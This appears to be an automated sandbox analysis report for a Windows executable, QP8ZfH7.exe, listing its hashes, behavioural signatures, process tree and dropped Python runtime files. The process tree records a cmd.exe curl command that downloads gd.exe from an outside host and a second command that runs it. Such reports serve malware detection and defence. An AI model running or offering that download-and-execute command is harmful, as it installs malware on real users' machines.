2e980d28c6be548d0a56d93996707332786fa014ea2cae481dd38375a7e6d4ae

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
26-05-2024 21:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

QP8ZfH7.exe
Size

10.1MB
MD5

b6224676697824f203b0a7c4face0c27
SHA1

a1b9b911560aeb95b087129ef33dbb9fa534d3bd
SHA256

2e980d28c6be548d0a56d93996707332786fa014ea2cae481dd38375a7e6d4ae
SHA512

54fc9cbbab31f0dc9049358cd95e0189268918f2942b4efc548123c60f622e5c1c3ff5f4e2bd9669b1b11b518625c959febc2efd1a9b86890aa5270c798887e1
SSDEEP

196608:OBBYTvuWJysVYvsOw+qroyMxxvjDDAxb48RmU/3ZlsPvGHSTL+aTvN8CudTtsPB:KRWJWqoyMxtDDAxbtN3ZWGH5aT4dTts

Score

7^/10

Malware Config

Signatures

Loads dropped DLL 27 IoCs

Processes:

QP8ZfH7.exe

pid	process
2808	QP8ZfH7.exe
2808	QP8ZfH7.exe
2808	QP8ZfH7.exe
2808	QP8ZfH7.exe
2808	QP8ZfH7.exe
2808	QP8ZfH7.exe
2808	QP8ZfH7.exe
2808	QP8ZfH7.exe
2808	QP8ZfH7.exe
2808	QP8ZfH7.exe
2808	QP8ZfH7.exe
2808	QP8ZfH7.exe
2808	QP8ZfH7.exe
2808	QP8ZfH7.exe
2808	QP8ZfH7.exe
2808	QP8ZfH7.exe
2808	QP8ZfH7.exe
2808	QP8ZfH7.exe
2808	QP8ZfH7.exe
2808	QP8ZfH7.exe
2808	QP8ZfH7.exe
2808	QP8ZfH7.exe
2808	QP8ZfH7.exe
2808	QP8ZfH7.exe
2808	QP8ZfH7.exe
2808	QP8ZfH7.exe
2808	QP8ZfH7.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

QP8ZfH7.exe

pid process

2808 QP8ZfH7.exe
2808 QP8ZfH7.exe
2808 QP8ZfH7.exe
2808 QP8ZfH7.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

QP8ZfH7.exe

description pid process

Token: SeDebugPrivilege 2808 QP8ZfH7.exe

description	pid	process
Token: SeDebugPrivilege	2808	QP8ZfH7.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

QP8ZfH7.exeQP8ZfH7.exe

description	pid	process	target process
PID 2928 wrote to memory of 2808	2928	QP8ZfH7.exe	QP8ZfH7.exe
PID 2928 wrote to memory of 2808	2928	QP8ZfH7.exe	QP8ZfH7.exe
PID 2928 wrote to memory of 2808	2928	QP8ZfH7.exe	QP8ZfH7.exe
PID 2808 wrote to memory of 2212	2808	QP8ZfH7.exe	cmd.exe
PID 2808 wrote to memory of 2212	2808	QP8ZfH7.exe	cmd.exe
PID 2808 wrote to memory of 2212	2808	QP8ZfH7.exe	cmd.exe
PID 2808 wrote to memory of 1712	2808	QP8ZfH7.exe	cmd.exe
PID 2808 wrote to memory of 1712	2808	QP8ZfH7.exe	cmd.exe
PID 2808 wrote to memory of 1712	2808	QP8ZfH7.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\QP8ZfH7.exe
"C:\Users\Admin\AppData\Local\Temp\QP8ZfH7.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2928

C:\Users\Admin\AppData\Local\Temp\QP8ZfH7.exe
"C:\Users\Admin\AppData\Local\Temp\QP8ZfH7.exe"
2⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2808

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c curl -A "dwqiie3w7q8ueg78291387t21iuy3e3qbhjdascfujhqeauyedgwqyud" -s https://sorted.is-broke.cf/api/pcguardian/img/gd.exe -o C:\Users\gd.exe
3⤵
PID:2212

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\gd.exe
3⤵
PID:1712

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\_MEI29282\VCRUNTIME140.dll
Filesize
87KB

MD5
0e675d4a7a5b7ccd69013386793f68eb

SHA1
6e5821ddd8fea6681bda4448816f39984a33596b

SHA256
bf5ff4603557c9959acec995653d052d9054ad4826df967974efd2f377c723d1

SHA512
cae69a90f92936febde67dacd6ce77647cb3b3ed82bb66463cd9047e90723f633aa2fc365489de09fecdc510be15808c183b12e6236b0893af19633f6a670e66

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI29282\VCRUNTIME140_1.dll
Filesize
37KB

MD5
75e78e4bf561031d39f86143753400ff

SHA1
324c2a99e39f8992459495182677e91656a05206

SHA256
1758085a61527b427c4380f0c976d29a8bee889f2ac480c356a3f166433bf70e

SHA512
ce4daf46bce44a89d21308c63e2de8b757a23be2630360209c4a25eb13f1f66a04fbb0a124761a33bbf34496f2f2a02b8df159b4b62f1b6241e1dbfb0e5d9756

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI29282\_asyncio.pyd
Filesize
62KB

MD5
fe9322e00324b59c179d4c9803322b6c

SHA1
4d27aa7b1d38ee633de49256bb26a9ee47eb9ef1

SHA256
46967e4ef54e222dcda43b64032a3f22ed9fce4cebbe0e64288ed80f86a500eb

SHA512
29d65bd6e81325cb17ef105a2e4bf3b65c859389da1bd98036227b45bd4496c31aec6427df5fbd7dc9bec482b18d1481abcb7cbfe34dce7229b4a33b971219b8

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI29282\_hashlib.pyd
Filesize
44KB

MD5
a6448bc5e5da21a222de164823add45c

SHA1
6c26eb949d7eb97d19e42559b2e3713d7629f2f9

SHA256
3692fc8e70e6e29910032240080fc8109248ce9a996f0a70d69acf1542fca69a

SHA512
a3833c7e1cf0e4d181ac4de95c5dfa685cf528dc39010bf0ac82864953106213eccff70785021ccb05395b5cf0dcb89404394327cd7e69f820d14dfa6fba8cba

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI29282\_lzma.pyd
Filesize
246KB

MD5
37057c92f50391d0751f2c1d7ad25b02

SHA1
a43c6835b11621663fa251da421be58d143d2afb

SHA256
9442dc46829485670a6ac0c02ef83c54b401f1570d1d5d1d85c19c1587487764

SHA512
953dc856ad00c3aec6aeab3afa2deb24211b5b791c184598a2573b444761db2d4d770b8b807ebba00ee18725ff83157ec5fa2e3591a7756eb718eba282491c7c

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI29282\_overlapped.pyd
Filesize
44KB

MD5
1b04bd84bdd90b8419e2a658a1cacc6e

SHA1
c016487aa0455a8bb664f306fb4ad3e7e64811f2

SHA256
44f9ed9d97881b29ecc79a2b3077760a4f9f7b5ba386751c0f3b98f1bfb0d8c4

SHA512
24e86b3325d00484dd5da6198bd5e935fed0b31c4d1fba8d41340d39863e1e47c499899ca82bf477a007f6a636cf296702ece9b457a43a4aaec6b38569cfa2e3

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI29282\_queue.pyd
Filesize
27KB

MD5
44b72e0ad8d1e1ec3d8722088b48c3c5

SHA1
e0f41bf85978dd8f5abb0112c26322b72c0d7770

SHA256
4aa1bbde1621c49edab4376cf9a13c1aa00a9b0a9905d9640a2694ef92f77d5e

SHA512
05853f93c6d79d8f9c96519ce4c195b9204df1255b01329deaa65e29bd3e988d41454cd305e2199404f587e855737879c330638f2f07bff11388a49e67ba896c

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI29282\_socket.pyd
Filesize
77KB

MD5
d6bae4b430f349ab42553dc738699f0e

SHA1
7e5efc958e189c117eccef39ec16ebf00e7645a9

SHA256
587c4f3092b5f3e34f6b1e927ecc7127b3fe2f7fa84e8a3d0c41828583bd5cef

SHA512
a8f8fed5ea88e8177e291b708e44b763d105907e9f8c9e046c4eebb8684a1778383d1fba6a5fa863ca37c42fd58ed977e9bb3a6b12c5b8d9ab6ef44de75e3d1e

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI29282\_ssl.pyd
Filesize
115KB

MD5
8ee827f2fe931163f078acdc97107b64

SHA1
149bb536f3492bc59bd7071a3da7d1f974860641

SHA256
eaeefa6722c45e486f48a67ba18b4abb3ff0c29e5b30c23445c29a4d0b1cd3e4

SHA512
a6d24e72bf620ef695f08f5ffde70ef93f42a3fa60f7c76eb0f521393c595717e05ccb7a61ae216c18fe41e95fb238d82637714cf5208ee8f1dd32ae405b5565

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI29282\base_library.zip
Filesize
1003KB

MD5
c73bfcff756151001a4c086142b3fb6b

SHA1
66b29d16ef884ba3bdfcab8f54a2c259bd8bbe07

SHA256
1722f8f4d7b949c76d196252476147c8be5cdf08f5b45dd9dcc7b8b56d8a63d8

SHA512
f09cc7b2c7837586e46adf4f91cb2164cd821265d2a6e83964f310bd43aebec867e15d2fc366b5a8ee673f5cb1f9357265bc35d3411a55318bf383e658ae5d51

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI29282\charset_normalizer\md__mypyc.cp38-win_amd64.pyd
Filesize
113KB

MD5
028e8677c6c7293e4cb6c671a4d414d9

SHA1
acc90cd69deb595f8010b5bf0c3d70938cb8057c

SHA256
cdb1201c350dc9f92e25765d550eab45a093772b421bffff5ac0ea8819b67d48

SHA512
f96ba2e24aae719233ef5c55b602f64da5d5f5e8d2540f0866447bfff8ac6a6d93581a2c0164d91ba53d1bceef9dda9adec68f419447ad882863ea725bb4b968

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI29282\libcrypto-1_1.dll
Filesize
3.2MB

MD5
bf83f8ad60cb9db462ce62c73208a30d

SHA1
f1bc7dbc1e5b00426a51878719196d78981674c4

SHA256
012866b68f458ec204b9bce067af8f4a488860774e7e17973c49e583b52b828d

SHA512
ae1bdda1c174ddf4205ab19a25737fe523dca6a9a339030cd8a95674c243d0011121067c007be56def4eaeffc40cbdadfdcbd1e61df3404d6a3921d196dcd81e

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI29282\psutil\_psutil_windows.pyd
Filesize
76KB

MD5
ebefbc98d468560b222f2d2d30ebb95c

SHA1
ee267e3a6e5bed1a15055451efcccac327d2bc43

SHA256
67c17558b635d6027ddbb781ea4e79fc0618bbec7485bd6d84b0ebcd9ef6a478

SHA512
ab9f949adfe9475b0ba8c37fa14b0705923f79c8a10b81446abc448ad38d5d55516f729b570d641926610c99df834223567c1efde166e6a0f805c9e2a35556e3

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI29282\pyarmor_runtime_000000\pyarmor_runtime.pyd
Filesize
602KB

MD5
f02340625aa02536698d4e4c1bb72a6b

SHA1
eaa75aba1a17dff32141848ad36e5880de4506d3

SHA256
a31180bd5782cea9eb529e52c17852ca70e773d3de4a93bb149e17727fe5206d

SHA512
7cca7557f36f8d23912d009a2d82c8baf3b8842f11134b37c5013cb9499b28273ea75ea6aa5ad1a42411924a9fcbd00fdd3cf2496425ccbf8df3e4dce435810f

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI29282\python3.dll
Filesize
57KB

MD5
7acec875d5672e7aa148b8c40df9aa49

SHA1
96b8cfabe0cfa3df32995919ac77cfdeec26f1f2

SHA256
d96858e433f45917499dbf5e052e56f079ff9ae259fd3caa025c3b1daf852891

SHA512
1208da62fe82b779ec822ad702f9ca4321b34ee590c28e10efe9a2db6d582bfdcae01ab2431c1a98714ef0c60434d64c58f3db31bf5886efbb943adc70d6e975

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI29282\python38.dll
Filesize
4.0MB

MD5
d2a8a5e7380d5f4716016777818a32c5

SHA1
fb12f31d1d0758fe3e056875461186056121ed0c

SHA256
59ab345c565304f638effa7c0236f26041fd06e35041a75988e13995cd28ace9

SHA512
ad1269d1367f587809e3fbe44af703c464a88fa3b2ae0bf2ad6544b8ed938e4265aab7e308d999e6c8297c0c85c608e3160796325286db3188a3edf040a02ab7

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI29282\pywin32_system32\pywintypes38.dll
Filesize
139KB

MD5
f60da44a33910eda70d838d7635d8fb1

SHA1
c35b4cf47349888384729386c74c374edb6f6ff3

SHA256
13934599ff931f97e8eac6106dc67d54609befd0b0e653b46f6c25b18830c572

SHA512
3c57ed384c23c89f99708bdf688ebd28629e84df8756e7b64dfa8b6e0b52beefb0c62de820f2c72e5679b7632279dcb414a781cfd2c5c9654d09d9da24fa17b3

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI29282\select.pyd
Filesize
26KB

MD5
6ae54d103866aad6f58e119d27552131

SHA1
bc53a92a7667fd922ce29e98dfcf5f08f798a3d2

SHA256
63b81af5d3576473c17ac929bea0add5bf8d7ea95c946caf66cbb9ad3f233a88

SHA512
ff23f3196a10892ea22b28ae929330c8b08ab64909937609b7af7bfb1623cd2f02a041fd9fab24e4bc1754276bdafd02d832c2f642c8ecdcb233f639bdf66dd0

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI29282\tcl86t.dll
Filesize
1.6MB

MD5
c0b23815701dbae2a359cb8adb9ae730

SHA1
5be6736b645ed12e97b9462b77e5a43482673d90

SHA256
f650d6bc321bcda3fc3ac3dec3ac4e473fb0b7b68b6c948581bcfc54653e6768

SHA512
ed60384e95be8ea5930994db8527168f78573f8a277f8d21c089f0018cd3b9906da764ed6fcc1bd4efad009557645e206fbb4e5baef9ab4b2e3c8bb5c3b5d725

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI29282\tcl\encoding\cp1252.enc
Filesize
1KB

MD5
5900f51fd8b5ff75e65594eb7dd50533

SHA1
2e21300e0bc8a847d0423671b08d3c65761ee172

SHA256
14df3ae30e81e7620be6bbb7a9e42083af1ae04d94cf1203565f8a3c0542ace0

SHA512
ea0455ff4cd5c0d4afb5e79b671565c2aede2857d534e1371f0c10c299c74cb4ad113d56025f58b8ae9e88e2862f0864a4836fed236f5730360b2223fde479dc

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI29282\tk86t.dll
Filesize
1.4MB

MD5
fdc8a5d96f9576bd70aa1cadc2f21748

SHA1
bae145525a18ce7e5bc69c5f43c6044de7b6e004

SHA256
1a6d0871be2fa7153de22be008a20a5257b721657e6d4b24da8b1f940345d0d5

SHA512
816ada61c1fd941d10e6bb4350baa77f520e2476058249b269802be826bab294a9c18edc5d590f5ed6f8dafed502ab7ffb29db2f44292cb5bedf2f5fa609f49c

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI29282\unicodedata.pyd
Filesize
1.0MB

MD5
4c0d43f1a31e76255cb592bb616683e7

SHA1
0a9f3d77a6e064baebacacc780701117f09169ad

SHA256
0f84e9f0d0bf44d10527a9816fcab495e3d797b09e7bbd1e6bd666ceb4b6c1a8

SHA512
b8176a180a441fe402e86f055aa5503356e7f49e984d70ab1060dee4f5f17fcec9c01f75bbff75ce5f4ef212677a6525804be53646cc0d7817b6ed5fd83fd778

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI29282\win32gui.pyd
Filesize
227KB

MD5
c8f09d690a3e72389c97abb1935cd59e

SHA1
a9429948f474a4b5e968bc9c20930e7be7e9daf9

SHA256
f12a7ee4bf2323b31d9b0e67a0917af4cd9d5106d3e1deb9e97f613fde5262a5

SHA512
2e5528effca4bc36b3b014bd132324e9e3f98be3169d657da762b946391a5644e414de4ded8238f92462f483f6e19f73dae9a85498c519dd7c4f0b2bad845c26

Download Submit
\Users\Admin\AppData\Local\Temp\_MEI29282\_bz2.pyd
Filesize
82KB

MD5
3dc8af67e6ee06af9eec52fe985a7633

SHA1
1451b8c598348a0c0e50afc0ec91513c46fe3af6

SHA256
c55821f5fdb0064c796b2c0b03b51971f073140bc210cbe6ed90387db2bed929

SHA512
da16bfbc66c8abc078278d4d3ce1595a54c9ef43ae8837ceb35ae2f4757b930fe55e258827036eba8218315c10af5928e30cb22c60ff69159c8fe76327280087

Download Submit
\Users\Admin\AppData\Local\Temp\_MEI29282\_ctypes.pyd
Filesize
120KB

MD5
f1e33a8f6f91c2ed93dc5049dd50d7b8

SHA1
23c583dc98aa3f6b8b108db5d90e65d3dd72e9b4

SHA256
9459d246df7a3c638776305cf3683946ba8db26a7de90df8b60e1be0b27e53c4

SHA512
229896da389d78cbdf2168753ed7fcc72d8e0e62c6607a3766d6d47842c0abd519ac4f5d46607b15e7ba785280f9d27b482954e931645337a152b8a54467c6a5

Download Submit
\Users\Admin\AppData\Local\Temp\_MEI29282\_tkinter.pyd
Filesize
63KB

MD5
7244bcee3ec369a9c503d16e5dfd2715

SHA1
d3b126e07df3a6d902b12def8151957be9ca1b03

SHA256
6b40fe9ecc1b1749c174069f421143c63e87486294af39bbe83fbd6be797c0a1

SHA512
6e49dc62f4dfe61eecb25e98f8eb3685afa53c7d5b05ac48139721778a8224f85bc74bee6f29974c6fc2cebd20f0f6628b73ebf168bf8cff80b21d24a83ff92d

Download Submit
\Users\Admin\AppData\Local\Temp\_MEI29282\charset_normalizer\md.cp38-win_amd64.pyd
Filesize
10KB

MD5
367426b02f93916d856dc20504c03a5d

SHA1
abe16956d5b2dd8d47d7434304030113989adf18

SHA256
cf1b152f1542c577bab3d52028a27412c2d275e772a9f0e553546af90fc15766

SHA512
21eb93bd1e656d5560320b67cabb9163c4c592194e9e8bc57d4f182ed92ca487e4870813958ce8f0bc46cd661f55668a0c5bdefa86dc43ec77cd642e14f9e5d6

Download Submit
\Users\Admin\AppData\Local\Temp\_MEI29282\libffi-7.dll
Filesize
32KB

MD5
4424baf6ed5340df85482fa82b857b03

SHA1
181b641bf21c810a486f855864cd4b8967c24c44

SHA256
8c1f7f64579d01fedfde07e0906b1f8e607c34d5e6424c87abe431a2322eba79

SHA512
8adb94893ada555de2e82f006ab4d571fad8a1b16ac19ca4d2efc1065677f25d2de5c981473fabd0398f6328c1be1ebd4d36668ea67f8a5d25060f1980ee7e33

Download Submit
\Users\Admin\AppData\Local\Temp\_MEI29282\libssl-1_1.dll
Filesize
670KB

MD5
fe1f3632af98e7b7a2799e3973ba03cf

SHA1
353c7382e2de3ccdd2a4911e9e158e7c78648496

SHA256
1ce7ba99e817c1c2d71bc88a1bdd6fcad82aa5c3e519b91ebd56c96f22e3543b

SHA512
a0123dfe324d3ebf68a44afafca7c6f33d918716f29b063c72c4a8bd2006b81faea6848f4f2423778d57296d7bf4f99a3638fc87b37520f0dcbeefa3a2343de0

Download Submit
memory/2808-1010-0x0000000066F80000-0x0000000067025000-memory.dmp

Filesize
660KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads